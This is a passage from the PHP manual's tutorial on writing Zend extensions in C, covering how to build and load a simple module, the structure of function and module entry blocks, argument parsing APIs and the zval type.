/* implement standard "stub" routine to introduce ourselves to Zend */
#if COMPILE_DL_FIRST_MODULE
ZEND_GET_MODULE(firstmod)
#endif

/* implement function that is meant to be made available to PHP */
ZEND_FUNCTION(first_module)
{
    long parameter;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &parameter) == FAILURE) {
        return;
    }

    RETURN_LONG(parameter);
}

This code contains a complete PHP module. We'll explain the source code in detail shortly, but first we'd like to discuss the build process. (This will allow the impatient to experiment before we dive into API discussions.)

Note:

The example source makes use of some features introduced with the Zend version used in PHP 4.1.0 and above, it won't compile with older PHP 4.0.x versions.

Compiling Modules

There are basically two ways to compile modules:

  • Use the provided "make" mechanism in the ext directory, which also allows building of dynamic loadable modules.

  • Compile the sources manually.

The first method should definitely be favored, since, as of PHP 4.0, this has been standardized into a sophisticated build process. The fact that it is so sophisticated is also its drawback, unfortunately - it's hard to understand at first. We'll provide a more detailed introduction to this later in the chapter, but first let's work with the default files.

The second method is good for those who (for some reason) don't have the full PHP source tree available, don't have access to all files, or just like to juggle with their keyboard. These cases should be extremely rare, but for the sake of completeness we'll also describe this method.

Compiling Using Make

To compile the sample sources using the standard mechanism, copy all their subdirectories to the ext directory of your PHP source tree. Then run buildconf, which will create an updated configure script containing appropriate options for the new extension. By default, all the sample sources are disabled, so you don't have to fear breaking your build process.

After you run buildconf, configure --help shows the following additional modules:

  --enable-array_experiments   BOOK: Enables array experiments
  --enable-call_userland       BOOK: Enables userland module
  --enable-cross_conversion    BOOK: Enables cross-conversion module
  --enable-first_module        BOOK: Enables first module
  --enable-infoprint           BOOK: Enables infoprint module
  --enable-reference_test      BOOK: Enables reference test module
  --enable-resource_test       BOOK: Enables resource test module
  --enable-variable_creation   BOOK: Enables variable-creation module

The module shown earlier in A simple extension. can be enabled with --enable-first_module or --enable-first_module=yes.

Compiling Manually

To compile your modules manually, you need the following commands:

Action | Command
Compiling | cc -fpic -DCOMPILE_DL_FIRST_MODULE=1 -I/usr/local/include -I. -I.. -I../Zend -c -o <your_object_file> <your_c_file>
Linking | cc -shared -L/usr/local/lib -rdynamic -o <your_module_file> <your_object_file(s)>
The command to compile the module simply instructs the compiler to generate position-independent code (-fpic shouldn't be omitted) and additionally defines the constant COMPILE_DL_FIRST_MODULE to tell the module code that it's compiled as a dynamically loadable module (the test module above checks for this; we'll discuss it shortly). After these options, it specifies a number of standard include paths that should be used as the minimal set to compile the source files.

Note: All include paths in the example are relative to the directory ext. If you're compiling from another directory, change the pathnames accordingly. Required items are the PHP directory, the Zend directory, and (if necessary), the directory in which your module resides.

The link command is also a plain vanilla command instructing linkage as a dynamic module.

You can include optimization options in the compilation command, although these have been omitted in this example (but some are included in the makefile template described in an earlier section).

Note: Compiling and linking manually as a static module into the PHP binary involves very long instructions and thus is not discussed here. (It's not very efficient to type all those commands.)

Using Extensions

Depending on the build process you selected, you should either end up with a new PHP binary to be linked into your Web server (or run as CGI), or with an .so (shared object) file. If you compiled the example file first_module.c as a shared object, your result file should be first_module.so. To use it, you first have to copy it to a place from which it's accessible to PHP. For a simple test procedure, you can copy it to your htdocs directory and try it with the source in A test file for first_module.so.. If you compiled it into the PHP binary, omit the call to dl(), as the module's functionality is instantly available to your scripts.

Warning

For security reasons, you should not put your dynamic modules into publicly accessible directories. Even though it can be done and it simplifies testing, you should put them into a separate directory in production environments.

Example #3 A test file for first_module.so.

<?php

// remove next comment if necessary
// dl("first_module.so");

$param = 2;
$return = first_module($param);

print("We sent '$param' and got '$return'");

?>

Calling this PHP file should output the following:

We sent '2' and got '2'

If required, the dynamic loadable module is loaded by calling the dl() function. This function looks for the specified shared object, loads it, and makes its functions available to PHP. The module exports the function first_module(), which accepts a single parameter, converts it to an integer, and returns the result of the conversion.

If you've gotten this far, congratulations! You just built your first extension to PHP.

Troubleshooting

Actually, not much troubleshooting can be done when compiling static or dynamic modules. The only problem that could arise is that the compiler will complain about missing definitions or something similar. In this case, make sure that all header files are available and that you specified their path correctly in the compilation command. To be sure that everything is located correctly, extract a clean PHP source tree and use the automatic build in the ext directory with the fresh files; this will guarantee a safe compilation environment. If this fails, try manual compilation.

PHP might also complain about missing functions in your module. (This shouldn't happen with the sample sources if you didn't modify them.) If the names of external functions you're trying to access from your module are misspelled, they'll remain as "unlinked symbols" in the symbol table. During dynamic loading and linkage by PHP, they won't resolve because of the typing errors - there are no corresponding symbols in the main binary. Look for incorrect declarations in your module file or incorrectly written external references. Note that this problem is specific to dynamic loadable modules; it doesn't occur with static modules. Errors in static modules show up at compile time.

Source Discussion

Now that you've got a safe build environment and you're able to include the modules into PHP files, it's time to discuss how everything works.

Module Structure

All PHP modules follow a common structure:

  • Header file inclusions (to include all required macros, API definitions, etc.)

  • C declaration of exported functions (required to declare the Zend function block)

  • Declaration of the Zend function block

  • Declaration of the Zend module block

  • Implementation of get_module()

  • Implementation of all exported functions

Header File Inclusions

The only header file you really have to include for your modules is php.h, located in the PHP directory. This file makes all macros and API definitions required to build new modules available to your code.

Tip: It's good practice to create a separate header file for your module that contains module-specific definitions. This header file should contain all the forward definitions for exported functions and include php.h. If you created your module using ext_skel you already have such a header file prepared.

Declaring Exported Functions

To declare functions that are to be exported (i.e., made available to PHP as new native functions), Zend provides a set of macros. A sample declaration looks like this:

ZEND_FUNCTION ( my_function );

ZEND_FUNCTION declares a new C function that complies with Zend's internal API. This means that the function is of type void and accepts INTERNAL_FUNCTION_PARAMETERS (another macro) as parameters. Additionally, it prefixes the function name with zif. The immediately expanded version of the above definitions would look like this:

void zif_my_function ( INTERNAL_FUNCTION_PARAMETERS );
Expanding INTERNAL_FUNCTION_PARAMETERS results in the following:
void zif_my_function( int ht
                    , zval * return_value
                    , zval * this_ptr
                    , int return_value_used
                    , zend_executor_globals * executor_globals
                    );

Since the interpreter and executor core have been separated from the main PHP package, a second API defining macros and function sets has evolved: the Zend API. As the Zend API now handles quite a few of the responsibilities that previously belonged to PHP, a lot of PHP functions have been reduced to macros aliasing to calls into the Zend API. The recommended practice is to use the Zend API wherever possible, as the old API is only preserved for compatibility reasons. For example, the types zval and pval are identical. zval is Zend's definition; pval is PHP's definition (actually, pval is an alias for zval now). As the macro INTERNAL_FUNCTION_PARAMETERS is a Zend macro, the above declaration contains zval. When writing code, you should always use zval to conform to the new Zend API.

The parameter list of this declaration is very important; you should keep these parameters in mind (see Zend's Parameters to Functions Called from PHP for descriptions).

Zend's Parameters to Functions Called from PHP
Parameter | Description
ht | The number of arguments passed to the Zend function. You should not touch this directly, but instead use ZEND_NUM_ARGS() to obtain the value.
return_value | This variable is used to pass any return values of your function back to PHP. Access to this variable is best done using the predefined macros. For a description of these see below.
this_ptr | Using this variable, you can gain access to the object in which your function is contained, if it's used within an object. Use the function getThis() to obtain this pointer.
return_value_used | This flag indicates whether an eventual return value from this function will actually be used by the calling script. 0 indicates that the return value is not used; 1 indicates that the caller expects a return value. Evaluation of this flag can be done to verify correct usage of the function as well as speed optimizations in case returning a value requires expensive operations (for an example, see how array.c makes use of this).
executor_globals | This variable points to global settings of the Zend engine. You'll find this useful when creating new variables, for example (more about this later). The executor globals can also be introduced to your function by using the macro TSRMLS_FETCH().

Declaration of the Zend Function Block

Now that you have declared the functions to be exported, you also have to introduce them to Zend. Introducing the list of functions is done by using an array of zend_function_entry. This array consecutively contains all functions that are to be made available externally, with the function's name as it should appear in PHP and its name as defined in the C source. Internally, zend_function_entry is defined as shown in Internal declaration of zend_function_entry..

Example #4 Internal declaration of zend_function_entry.

typedef struct _zend_function_entry {
    char *fname;
    void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
    unsigned char *func_arg_types;
} zend_function_entry;
Entry | Description
fname | Denotes the function name as seen in PHP (for example, fopen, mysql_connect, or, in our example, first_module).
handler | Pointer to the C function responsible for handling calls to this function. For example, see the standard macro INTERNAL_FUNCTION_PARAMETERS discussed earlier.
func_arg_types | Allows you to mark certain parameters so that they're forced to be passed by reference. You usually should set this to NULL.
In the example above, the declaration looks like this:
zend_function_entry firstmod_functions[] =
{
    ZEND_FE(first_module, NULL)
    ZEND_FE_END
};
You can see that the last entry in the list always has to be ZEND_FE_END. This marker has to be set for Zend to know when the end of the list of exported functions is reached.

The macro ZEND_FE (short for 'Zend Function Entry') simply expands to a structure entry in zend_function_entry. Note that these macros introduce a special naming scheme to your functions - your C functions will be prefixed with zif_, meaning that ZEND_FE(first_module) will refer to a C function zif_first_module(). If you want to mix macro usage with hand-coded entries (not a good practice), keep this in mind.

Tip: Compilation errors that refer to functions named zif_*() relate to functions defined with ZEND_FE.

Macros for Defining Functions shows a list of all the macros that you can use to define functions.

Macros for Defining Functions
Macro Name | Description
ZEND_FE(name, arg_types) | Defines a function entry of the name name in zend_function_entry. Requires a corresponding C function. arg_types needs to be set to NULL. This function uses automatic C function name generation by prefixing the PHP function name with zif_. For example, ZEND_FE("first_module", NULL) introduces a function first_module() to PHP and links it to the C function zif_first_module(). Use in conjunction with ZEND_FUNCTION.
ZEND_NAMED_FE(php_name, name, arg_types) | Defines a function that will be available to PHP by the name php_name and links it to the corresponding C function name. arg_types needs to be set to NULL. Use this function if you don't want the automatic name prefixing introduced by ZEND_FE. Use in conjunction with ZEND_NAMED_FUNCTION.
ZEND_FALIAS(name, alias, arg_types) | Defines an alias named alias for name. arg_types needs to be set to NULL. Doesn't require a corresponding C function; refers to the alias target instead.
PHP_FE(name, arg_types) | Old PHP API equivalent of ZEND_FE.
PHP_NAMED_FE(runtime_name, name, arg_types) | Old PHP API equivalent of ZEND_NAMED_FE.

Note: You can't use ZEND_FE in conjunction with PHP_FUNCTION, or PHP_FE in conjunction with ZEND_FUNCTION. However, it's perfectly legal to mix ZEND_FE and ZEND_FUNCTION with PHP_FE and PHP_FUNCTION when staying with the same macro set for each function to be declared. But mixing is not recommended; instead, you're advised to use the ZEND_* macros only.

Declaration of the Zend Module Block

This block is stored in the structure zend_module_entry and contains all necessary information to describe the contents of this module to Zend. You can see the internal definition of this module in Internal declaration of zend_module_entry..

Example #5 Internal declaration of zend_module_entry.

typedef struct _zend_module_entry zend_module_entry;

    struct _zend_module_entry {
    unsigned short size;
    unsigned int zend_api;
    unsigned char zend_debug;
    unsigned char zts;
    char *name;
    zend_function_entry *functions;
    int (*module_startup_func)(INIT_FUNC_ARGS);
    int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
    int (*request_startup_func)(INIT_FUNC_ARGS);
    int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
    void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
    char *version;

[ Rest of the structure is not interesting here ]

};
Entry | Description
size, zend_api, zend_debug and zts | Usually filled with the "STANDARD_MODULE_HEADER", which fills these four members with the size of the whole zend_module_entry, the ZEND_MODULE_API_NO, whether it is a debug build or normal build (ZEND_DEBUG) and if ZTS is enabled (USING_ZTS).
name | Contains the module name (for example, "File functions", "Socket functions", "Crypt", etc.). This name will show up in phpinfo(), in the section "Additional Modules."
functions | Points to the Zend function block, discussed in the preceding section.
module_startup_func | This function is called once upon module initialization and can be used to do one-time initialization steps (such as initial memory allocation, etc.). To indicate a failure during initialization, return FAILURE; otherwise, SUCCESS. To mark this field as unused, use NULL. To declare a function, use the macro ZEND_MINIT.
module_shutdown_func | This function is called once upon module shutdown and can be used to do one-time deinitialization steps (such as memory deallocation). This is the counterpart to module_startup_func(). To indicate a failure during deinitialization, return FAILURE; otherwise, SUCCESS. To mark this field as unused, use NULL. To declare a function, use the macro ZEND_MSHUTDOWN.
request_startup_func | This function is called once upon every page request and can be used to do one-time initialization steps that are required to process a request. To indicate a failure here, return FAILURE; otherwise, SUCCESS. Note: As dynamic loadable modules are loaded only on page requests, the request startup function is called right after the module startup function (both initialization events happen at the same time). To mark this field as unused, use NULL. To declare a function, use the macro ZEND_RINIT.
request_shutdown_func | This function is called once after every page request and works as counterpart to request_startup_func(). To indicate a failure here, return FAILURE; otherwise, SUCCESS. Note: As dynamic loadable modules are loaded only on page requests, the request shutdown function is immediately followed by a call to the module shutdown handler (both deinitialization events happen at the same time). To mark this field as unused, use NULL. To declare a function, use the macro ZEND_RSHUTDOWN.
info_func | When phpinfo() is called in a script, Zend cycles through all loaded modules and calls this function. Every module then has the chance to print its own "footprint" into the output page. Generally this is used to dump environmental or statistical information. To mark this field as unused, use NULL. To declare a function, use the macro ZEND_MINFO.
version | The version of the module. You can use NO_VERSION_YET if you don't want to give the module a version number yet, but we really recommend that you add a version string here. Such a version string can look like this (in chronological order): "2.5-dev", "2.5RC1", "2.5" or "2.5pl3".
Remaining structure elements | These are used internally and can be prefilled by using the macro STANDARD_MODULE_PROPERTIES_EX. You should not assign any values to them. Use STANDARD_MODULE_PROPERTIES_EX only if you use global startup and shutdown functions; otherwise, use STANDARD_MODULE_PROPERTIES directly.

In our example, this structure is implemented as follows:

zend_module_entry firstmod_module_entry =
{
    STANDARD_MODULE_HEADER,
    "First Module",
    firstmod_functions,
    NULL, NULL, NULL, NULL, NULL,
    NO_VERSION_YET,
    STANDARD_MODULE_PROPERTIES,
};
This is basically the easiest and most minimal set of values you could ever use. The module name is set to First Module, then the function list is referenced, after which all startup and shutdown functions are marked as being unused.

For reference purposes, you can find a list of the macros involved in declared startup and shutdown functions in Macros to Declare Startup and Shutdown Functions. These are not used in our basic example yet, but will be demonstrated later on. You should make use of these macros to declare your startup and shutdown functions, as these require special arguments to be passed (INIT_FUNC_ARGS and SHUTDOWN_FUNC_ARGS), which are automatically included into the function declaration when using the predefined macros. If you declare your functions manually and the PHP developers decide that a change in the argument list is necessary, you'll have to change your module sources to remain compatible.

Macros to Declare Startup and Shutdown Functions
Macro | Description
ZEND_MINIT(module) | Declares a function for module startup. The generated name will be zend_minit_<module> (for example, zend_minit_first_module). Use in conjunction with ZEND_MINIT_FUNCTION.
ZEND_MSHUTDOWN(module) | Declares a function for module shutdown. The generated name will be zend_mshutdown_<module> (for example, zend_mshutdown_first_module). Use in conjunction with ZEND_MSHUTDOWN_FUNCTION.
ZEND_RINIT(module) | Declares a function for request startup. The generated name will be zend_rinit_<module> (for example, zend_rinit_first_module). Use in conjunction with ZEND_RINIT_FUNCTION.
ZEND_RSHUTDOWN(module) | Declares a function for request shutdown. The generated name will be zend_rshutdown_<module> (for example, zend_rshutdown_first_module). Use in conjunction with ZEND_RSHUTDOWN_FUNCTION.
ZEND_MINFO(module) | Declares a function for printing module information, used when phpinfo() is called. The generated name will be zend_info_<module> (for example, zend_info_first_module). Use in conjunction with ZEND_MINFO_FUNCTION.

Creation of get_module()

This function is special to all dynamic loadable modules. Take a look at the creation via the ZEND_GET_MODULE macro first:

#if COMPILE_DL_FIRSTMOD
     ZEND_GET_MODULE(firstmod)
#endif

The function implementation is surrounded by a conditional compilation statement. This is needed since the function get_module() is only required if your module is built as a dynamic extension. By specifying a definition of COMPILE_DL_FIRSTMOD in the compiler command (see above for a discussion of the compilation instructions required to build a dynamic extension), you can instruct your module whether you intend to build it as a dynamic extension or as a built-in module. If you want a built-in module, the implementation of get_module() is simply left out.

get_module() is called by Zend at load time of the module. You can think of it as being invoked by the dl() call in your script. Its purpose is to pass the module information block back to Zend in order to inform the engine about the module contents.

If you don't implement a get_module() function in your dynamic loadable module, Zend will compliment you with an error message when trying to access it.

Implementation of All Exported Functions

Implementing the exported functions is the final step. The example function in first_module looks like this:

ZEND_FUNCTION(first_module)
{
    long parameter;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &parameter) == FAILURE) {
        return;
    }

    RETURN_LONG(parameter);
}
The function declaration is done using ZEND_FUNCTION, which corresponds to ZEND_FE in the function entry table (discussed earlier).

After the declaration, code for checking and retrieving the function's arguments, argument conversion, and return value generation follows (more on this later).

Summary

That's it, basically - there's nothing more to implementing PHP modules. Built-in modules are structured similarly to dynamic modules, so, equipped with the information presented in the previous sections, you'll be able to fight the odds when encountering PHP module source files.

Now, in the following sections, read on about how to make use of PHP's internals to build powerful extensions.

Accepting Arguments

One of the most important issues for language extensions is accepting and dealing with data passed via arguments. Most extensions are built to deal with specific input data (or require parameters to perform their specific actions), and function arguments are the only real way to exchange data between the PHP level and the C level. Of course, there's also the possibility of exchanging data using predefined global values (which is also discussed later), but this should be avoided by all means, as it's extremely bad practice.

PHP doesn't make use of any formal function declarations; this is why call syntax is always completely dynamic and never checked for errors. Checking for correct call syntax is left to the user code. For example, it's possible to call a function using only one argument at one time and four arguments the next time - both invocations are syntactically absolutely correct.

Determining the Number of Arguments

Since PHP doesn't have formal function definitions with support for call syntax checking, and since PHP features variable arguments, sometimes you need to find out with how many arguments your function has been called. You can use the ZEND_NUM_ARGS macro in this case. In previous versions of PHP, this macro retrieved the number of arguments with which the function has been called based on the function's hash table entry, ht, which is passed in the INTERNAL_FUNCTION_PARAMETERS list. As ht itself now contains the number of arguments that have been passed to the function, ZEND_NUM_ARGS has been stripped down to a dummy macro (see its definition in zend_API.h). But it's still good practice to use it, to remain compatible with future changes in the call interface. Note: The old PHP equivalent of this macro is ARG_COUNT.

The following code checks for the correct number of arguments:

if(ZEND_NUM_ARGS() != 2) WRONG_PARAM_COUNT;
If the function is not called with two arguments, it exits with an error message. The code snippet above makes use of the tool macro WRONG_PARAM_COUNT, which can be used to generate a standard error message like:
"Warning: Wrong parameter count for firstmodule() in /home/www/htdocs/firstmod.php on line 5"

This macro prints a default error message and then returns to the caller. Its definition can also be found in zend_API.h and looks like this:

ZEND_API void wrong_param_count(void);

#define WRONG_PARAM_COUNT { wrong_param_count(); return; }
As you can see, it calls an internal function named wrong_param_count() that's responsible for printing the warning. For details on generating customized error messages, see the later section "Printing Information."

Retrieving Arguments

Note: New parameter parsing API

This chapter documents the new Zend parameter parsing API introduced by Andrei Zmievski. It was introduced in the development stage between PHP 4.0.6 and 4.1.0.

Parsing parameters is a very common operation and it may get a bit tedious. It would also be nice to have standardized error checking and error messages. Since PHP 4.1.0, there is a way to do just that by using the new parameter parsing API. It greatly simplifies the process of receiving parameters, but it has a drawback in that it can't be used for functions that expect variable number of parameters. But since the vast majority of functions do not fall into those categories, this parsing API is recommended as the new standard way.

The prototype for parameter parsing function looks like this:

int zend_parse_parameters(int num_args TSRMLS_DC, char *type_spec, ...);
The first argument to this function is supposed to be the number of actual parameters passed to your function, so ZEND_NUM_ARGS() can be used for that. The second parameter should always be TSRMLS_CC macro. The third argument is a string that specifies the number and types of arguments your function is expecting, similar to how printf format string specifies the number and format of the output values it should operate on. And finally the rest of the arguments are pointers to variables which should receive the values from the parameters.

zend_parse_parameters() also performs type conversions whenever possible, so that you always receive the data in the format you asked for. Any type of scalar can be converted to another one, but conversions between complex types (arrays, objects, and resources) and scalar types are not allowed.

If the parameters could be obtained successfully and there were no errors during type conversion, the function will return SUCCESS, otherwise it will return FAILURE. The function will output informative error messages, if the number of received parameters does not match the requested number, or if type conversion could not be performed.

Here are some sample error messages:

Warning - ini_get_all() requires at most 1 parameter, 2 given
Warning - wddx_deserialize() expects parameter 1 to be string, array given
Of course each error message is accompanied by the filename and line number on which it occurs.

Here is the full list of type specifiers:

  • l - long

  • d - double

  • s - string (with possible null bytes) and its length

  • b - boolean

  • r - resource, stored in zval*

  • a - array, stored in zval*

  • o - object (of any class), stored in zval*

  • O - object (of class specified by class entry), stored in zval*

  • z - the actual zval*

The following characters also have a meaning in the specifier string:

  • | - indicates that the remaining parameters are optional. The storage variables corresponding to these parameters should be initialized to default values by the extension, since they will not be touched by the parsing function if the parameters are not passed.

  • / - the parsing function will call SEPARATE_ZVAL_IF_NOT_REF() on the parameter it follows, to provide a copy of the parameter, unless it's a reference.

  • ! - the parameter it follows can be of specified type or NULL (only applies to a, o, O, r, and z). If NULL value is passed by the user, the storage pointer will be set to NULL.

The best way to illustrate the usage of this function is through examples:

/* Gets a long, a string and its length, and a zval. */
long l;
char *s;
int s_len;
zval *param;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
                          "lsz", &l, &s, &s_len, &param) == FAILURE) {
    return;
}

/* Gets an object of class specified by my_ce, and an optional double. */
zval *obj;
double d = 0.5;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
                          "O|d", &obj, my_ce, &d) == FAILURE) {
    return;
}

/* Gets an object or null, and an array.
   If null is passed for object, obj will be set to NULL. */
zval *obj;
zval *arr;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "O!a", &obj, &arr) == FAILURE) {
    return;
}

/* Gets a separated array. */
zval *arr;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "a/", &arr) == FAILURE) {
    return;
}

/* Get only the first three parameters (useful for varargs functions). */
zval *z;
zend_bool b;
zval *r;
if (zend_parse_parameters(3, "zbr!", &z, &b, &r) == FAILURE) {
    return;
}

Note that in the last example we pass 3 for the number of received parameters, instead of ZEND_NUM_ARGS(). What this lets us do is receive the least number of parameters if our function expects a variable number of them. Of course, if you want to operate on the rest of the parameters, you will have to use zend_get_parameters_array_ex() to obtain them.

The parsing function has an extended version that allows for an additional flags argument that controls its actions.

int zend_parse_parameters_ex(int flags, int num_args TSRMLS_DC, char *type_spec, ...);

The only flag you can pass currently is ZEND_PARSE_PARAMS_QUIET, which instructs the function to not output any error messages during its operation. This is useful for functions that expect several sets of completely different arguments, but you will have to output your own error messages.

For example, here is how you would get either a set of three longs or a string:

long l1, l2, l3;
char *s;
if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET,
                             ZEND_NUM_ARGS() TSRMLS_CC,
                             "lll", &l1, &l2, &l3) == SUCCESS) {
    /* manipulate longs */
} else if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET,
                                    ZEND_NUM_ARGS(), "s", &s, &s_len) == SUCCESS) {
    /* manipulate string */
} else {
    php_error(E_WARNING, "%s() takes either three long values or a string as argument",
              get_active_function_name(TSRMLS_C));
    return;
}

With all the abovementioned ways of receiving function parameters you should have a good handle on this process. For even more example, look through the source code for extensions that are shipped with PHP - they illustrate every conceivable situation.

Old way of retrieving arguments (deprecated)

Note: Deprecated parameter parsing API

This API is deprecated and superseded by the new ZEND parameter parsing API.

After having checked the number of arguments, you need to get access to the arguments themselves. This is done with the help of zend_get_parameters_ex():

zval **parameter;

if(zend_get_parameters_ex(1, &parameter) != SUCCESS)
  WRONG_PARAM_COUNT;
All arguments are stored in a zval container, which needs to be pointed to twice. The snippet above tries to retrieve one argument and make it available to us via the parameter pointer.

zend_get_parameters_ex() accepts at least two arguments. The first argument is the number of arguments to retrieve (which should match the number of arguments with which the function has been called; this is why it's important to check for correct call syntax). The second argument (and all following arguments) are pointers to pointers to pointers to zvals. (Confusing, isn't it?) All these pointers are required because Zend works internally with **zval; to adjust a local **zval in our function,zend_get_parameters_ex() requires a pointer to it.

The return value of zend_get_parameters_ex() can either be SUCCESS or FAILURE, indicating (unsurprisingly) success or failure of the argument processing. A failure is most likely related to an incorrect number of arguments being specified, in which case you should exit with WRONG_PARAM_COUNT.

To retrieve more than one argument, you can use a similar snippet:

zval **param1, **param2, **param3, **param4;

if(zend_get_parameters_ex(4, &param1, &param2, &param3, &param4) != SUCCESS)
    WRONG_PARAM_COUNT;

zend_get_parameters_ex() only checks whether you're trying to retrieve too many parameters. If the function is called with five arguments, but you're only retrieving three of them with zend_get_parameters_ex(), you won't get an error but will get the first three parameters instead. Subsequent calls of zend_get_parameters_ex() won't retrieve the remaining arguments, but will get the same arguments again.

Dealing with a Variable Number of Arguments/Optional Parameters

If your function is meant to accept a variable number of arguments, the snippets just described are sometimes suboptimal solutions. You have to create a line calling zend_get_parameters_ex() for every possible number of arguments, which is often unsatisfying.

For this case, you can use the function zend_get_parameters_array_ex(), which accepts the number of parameters to retrieve and an array in which to store them:

zval **parameter_array[4];

/* get the number of arguments */
argument_count = ZEND_NUM_ARGS();

/* see if it satisfies our minimal request (2 arguments) */
/* and our maximal acceptance (4 arguments) */
if(argument_count < 2 || argument_count > 4)
    WRONG_PARAM_COUNT;

/* argument count is correct, now retrieve arguments */
if(zend_get_parameters_array_ex(argument_count, parameter_array) != SUCCESS)
    WRONG_PARAM_COUNT;
First, the number of arguments is checked to make sure that it's in the accepted range. After that, zend_get_parameters_array_ex() is used to fill parameter_array with valid pointers to the argument values.

A very clever implementation of this can be found in the code handling PHP's fsockopen() located in ext/standard/fsock.c, as shown in PHP's implementation of variable arguments in fsockopen().. Don't worry if you don't know all the functions used in this source yet; we'll get to them shortly.

Example #6 PHP's implementation of variable arguments in fsockopen().

pval **args[5];
int *sock=emalloc(sizeof(int));
int *sockp;
int arg_count=ARG_COUNT(ht);
int socketd = -1;
unsigned char udp = 0;
struct timeval timeout = { 60, 0 };
unsigned short portno;
unsigned long conv;
char *key = NULL;
FLS_FETCH();

if (arg_count > 5 || arg_count < 2 || zend_get_parameters_array_ex(arg_count,args)==FAILURE) {
    CLOSE_SOCK(1);
    WRONG_PARAM_COUNT;
}

switch(arg_count) {
    case 5:
        convert_to_double_ex(args[4]);
        conv = (unsigned long) (Z_DVAL_PP(args[4]) * 1000000.0);
        timeout.tv_sec = conv / 1000000;
        timeout.tv_usec = conv % 1000000;
        /* fall-through */
    case 4:
        if (!PZVAL_IS_REF(*args[3])) {
            php_error(E_WARNING,"error string argument to fsockopen not passed by reference");
        }
        pval_copy_constructor(*args[3]);
        ZVAL_EMPTY_STRING(*args[3]);
        /* fall-through */
    case 3:
        if (!PZVAL_IS_REF(*args[2])) {
            php_error(E_WARNING,"error argument to fsockopen not passed by reference");
            return;
        }
        ZVAL_LONG(*args[2], 0);
        break;
}

convert_to_string_ex(args[0]);
convert_to_long_ex(args[1]);
portno = (unsigned short) Z_LVAL_P(args[1]);

key = emalloc(Z_STRLEN_P(args[0]) + 10);

fsockopen() accepts two, three, four, or five parameters. After the obligatory variable declarations, the function checks for the correct range of arguments. Then it uses a fall-through mechanism in a switch() statement to deal with all arguments. The switch() statement starts with the maximum number of arguments being passed (five). After that, it automatically processes the case of four arguments being passed, then three, by omitting the otherwise obligatory break keyword in all stages. After having processed the last case, it exits the switch() statement and does the minimal argument processing needed if the function is invoked with only two arguments.

This multiple-stage type of processing, similar to a stairway, allows convenient processing of a variable number of arguments.

Accessing Arguments

To access arguments, it's necessary for each argument to have a clearly defined type. Again, PHP's extremely dynamic nature introduces some quirks. Because PHP never does any kind of type checking, it's possible for a caller to pass any kind of data to your functions, whether you want it or not. If you expect an integer, for example, the caller might pass an array, and vice versa - PHP simply won't notice.

To work around this, you have to use a set of API functions to force a type conversion on every argument that's being passed (see Argument Conversion Functions).

Note: All conversion functions expect a **zval as parameter.

Argument Conversion Functions
Function | Description
convert_to_boolean_ex() | Forces conversion to a Boolean type. Boolean values remain untouched. Longs, doubles, and strings containing 0 as well as NULL values will result in Boolean 0 (FALSE). Arrays and objects are converted based on the number of entries or properties, respectively, that they have. Empty arrays and objects are converted to FALSE; otherwise, to TRUE. All other values result in a Boolean 1 (TRUE).
convert_to_long_ex() | Forces conversion to a long, the default integer type. NULL values, Booleans, resources, and of course longs remain untouched. Doubles are truncated. Strings containing an integer are converted to their corresponding numeric representation, otherwise resulting in 0. Arrays and objects are converted to 0 if empty, 1 otherwise.
convert_to_double_ex() | Forces conversion to a double, the default floating-point type. NULL values, Booleans, resources, longs, and of course doubles remain untouched. Strings containing a number are converted to their corresponding numeric representation, otherwise resulting in 0.0. Arrays and objects are converted to 0.0 if empty, 1.0 otherwise.
convert_to_string_ex() | Forces conversion to a string. Strings remain untouched. NULL values are converted to an empty string. Booleans containing TRUE are converted to "1", otherwise resulting in an empty string. Longs and doubles are converted to their corresponding string representation. Arrays are converted to the string "Array" and objects to the string "Object".
convert_to_array_ex(value) | Forces conversion to an array. Arrays remain untouched. Objects are converted to an array by assigning all their properties to the array table. All property names are used as keys, property contents as values. NULL values are converted to an empty array. All other values are converted to an array that contains the specific source value in the element with the key 0.
convert_to_object_ex(value) | Forces conversion to an object. Objects remain untouched. NULL values are converted to an empty object. Arrays are converted to objects by introducing their keys as properties into the objects and their values as corresponding property contents in the object. All other types result in an object with the property scalar , having the corresponding source value as content.
convert_to_null_ex(value) | Forces the type to become a NULL value, meaning empty.

Note:

You can find a demonstration of the behavior in cross_conversion.php on the accompanying CD-ROM.

Cross-conversion behavior of PHP.

Using these functions on your arguments will ensure type safety for all data that's passed to you. If the supplied type doesn't match the required type, PHP forces dummy contents on the resulting value (empty strings, arrays, or objects, 0 for numeric values, FALSE for Booleans) to ensure a defined state.

Following is a quote from the sample module discussed previously, which makes use of the conversion functions:

zval **parameter;

if((ZEND_NUM_ARGS() != 1) || (zend_get_parameters_ex(1, &parameter) != SUCCESS))
{
    WRONG_PARAM_COUNT;
}

convert_to_long_ex(parameter);

RETURN_LONG(Z_LVAL_P(parameter));
After retrieving the parameter pointer, the parameter value is converted to a long (an integer), which also forms the return value of this function. Understanding access to the contents of the value requires a short discussion of the zval type, whose definition is shown in PHP/Zend zval type definition..

Example #7 PHP/Zend zval type definition.

typedef pval zval;

typedef struct _zval_struct zval;

typedef union _zvalue_value {
    long lval;                 /* long value */
    double dval;               /* double value */
    struct {
        char *val;
        int len;
    } str;
    HashTable *ht;             /* hash table value */
    struct {
        zend_class_entry *ce;
        HashTable *properties;
    } obj;
} zvalue_value;

struct _zval_struct {
    /* Variable information */
    zvalue_value value;        /* value */
    unsigned char type;        /* active type */
    unsigned char is_ref;
    short refcount;
};

Actually, pval (defined in php.h) is only an alias of zval (defined in zend.h), which in turn refers to _zval_struct. This is a most interesting structure. _zval_struct is the "master" structure, containing the value structure, type, and reference information. The substructure zvalue_value is a union that contains the variable's contents. Depending on the variable's type, you'll have to access different members of this union. For a description of both structures, see Zend zval Structure, Zend zvalue_value Structure and Zend Variable Type Constants.

Zend zval Structure
